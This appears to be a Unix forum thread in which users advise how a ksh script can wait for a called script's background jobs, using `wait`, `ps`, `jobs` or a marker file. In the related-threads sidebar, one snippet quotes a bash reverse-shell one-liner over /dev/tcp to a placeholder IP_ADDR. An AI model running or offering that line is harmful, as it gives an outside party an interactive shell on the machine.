Problem running a program/script in the background from a script


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Problem running a program/script in the background from a script
# 1  
Old 03-27-2011
Problem running a program/script in the background from a script

Hi all,

I have a script that calls another program/script, xxx, to run in the background. Supposedly this program at most should finish within five (5) minutes so after five (5) minutes, I run some other steps to run the script into completion.

My problem is sometimes the program takes longer than five (5) minutes and this is causing problems when running the rest of the steps in the scripts. Can anyone suggest how to re-program my script.

At the moment, the KSH script, i.e. test.ksh, is doing as below:

test.ksh:

....
....
xxx/xxx.ksh <--- program/script called by the script
sleep 300
..... run the rest of the script ......
...... problem is sometimes xxx/xxx.ksh takes longer than 300 seconds ......
...... any way that I can monitor that xxx/xxx.ksh finishes before I run ......
...... the rest of the scripts ......

Any advise will be much appreciated. Thanks in advance.
# 2  
Old 03-27-2011
You can run your xxx/xxx.ksh in background and wait till finished like below.
Code:
xxx/xxx.ksh & 
process_ID=$!
wait $process_ID

# 3  
Old 03-27-2011
Pravin27, as he wasn't running the scipt in the background orginally - it appears this script starts background tasks and returns straight away (hence the sleep in the original code).

Newbie_01, you may need to use ps and watch till the commands that xxx.ksh starts in the background have finished.

Last edited by Chubler_XL; 03-27-2011 at 09:25 PM..
# 4  
Old 03-27-2011
Quote:
Newbie_01, you may need to use ps and watch till the commands that xxx.ksh starts in the background have finished.
If the script needs to wait for a single job to complete there is no reason to background the job. In this context a background job issued without a "nohup" might as well be in foreground.
Rather than "ps" try the "jobs" command to monitor your background processes.
# 5  
Old 03-28-2011
Quote:
Originally Posted by methyl
If the script needs to wait for a single job to complete there is no reason to background the job. In this context a background job issued without a "nohup" might as well be in foreground.
Rather than "ps" try the "jobs" command to monitor your background processes.
"jobs" will only list the child processes of the current script not those started by xxx.ksh, unless it is source in the current shell by . xxx/xxx.ksh

I'm reluctant to recommend sourcing the script or changing it (e.g. adding a "run in foreground" flag, or a "wait before returning" flag) without knowing more about what it is doing and how complex the bacground task(s) it starts are. This is why I recommended using ps to watch the tasks it starts and continuing when the are done.
# 6  
Old 03-28-2011
is it possible to modify the background script to add a line? I would create a file in the last line using touch and in this current script i would wait till this file was created. Then I would remove this file and continue .
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

Running script in background

Hi, I wrote a KSH script and running it on HP-UX machine I am running one script in background. My script is at location $HOME/myScript/test/background_sh When I view my script in background with psu commend > psu | grep background_sh I see following output UID PID PPID C ... (1 Reply)
Discussion started by: vaibhav
1 Replies

2. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

3. Shell Programming and Scripting

Error when running script in background

Hi guys, ./test.sh & #!/usr/bin/ksh echo "No.Of Items :" read count echo "Report Time (Min):" read time some other command .... exit 0; thanks (3 Replies)
Discussion started by: asavaliya
3 Replies

4. Shell Programming and Scripting

Remove Script still running in background

HI I have by mistaken delete my script but its still running in background and giving me output and cretaed ..nfsB5DC2 file. I have kill all my prosses still it running.... How can i stop this script. i have unix solaris systems. (8 Replies)
Discussion started by: asavaliya
8 Replies

5. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

6. Shell Programming and Scripting

running the script in background

I have a script called startWebLogic.sh which I was running in the background but the problem is which I used the command :- ps -elf | grep "startWebLogic.sh" | grep -v grep to find the process id but I was unable to find the process id for this script and when I checked from the front end the... (3 Replies)
Discussion started by: maitree
3 Replies

7. Shell Programming and Scripting

Running a unix script(which is calling another script inside that) in background

Hi all, I am having a script ScriptA which is calling a script ScriptB in the same server and copying files to second server and have to execute one script ScriptC in the second server. THis First script ScriptA is the main script and i have to execute this process continously. for Keeping... (2 Replies)
Discussion started by: rohithji
2 Replies

8. UNIX for Advanced & Expert Users

Running script in background

When I run the following snippet in background #!/bin/ksh while do echo "$i" sleep 10 i=`expr $i + 1` done My job got stopped and it says like + Stopped (SIGTTOU) ex1 & I did "stty tostop" as suggested in many of the post but still not working... (3 Replies)
Discussion started by: shahnazurs
3 Replies

9. UNIX for Dummies Questions & Answers

Running the Script in Background.

Gurus, Pls. help on this to run the script in background. I have a script to run the informatica workflows using PMCMD in script. Say the script name is test.sh & Parameters to the script is Y Y Y Y The no of parameters to the bove script is 4. all are going to be a flags. Each flag will... (2 Replies)
Discussion started by: prabhutkl
2 Replies

10. Shell Programming and Scripting

How to stop the script which is running in background

Hi I have a script, which i ran in background, can someone please help in stopping this. i gave this command: ksh abc.ksh & this script sends me a mail every 30 seconds. i have deleted the script but still i am getting the mails. can some one please help me stopping dese. ... (3 Replies)
Discussion started by: Prateek007
3 Replies
Login or Register to Ask a Question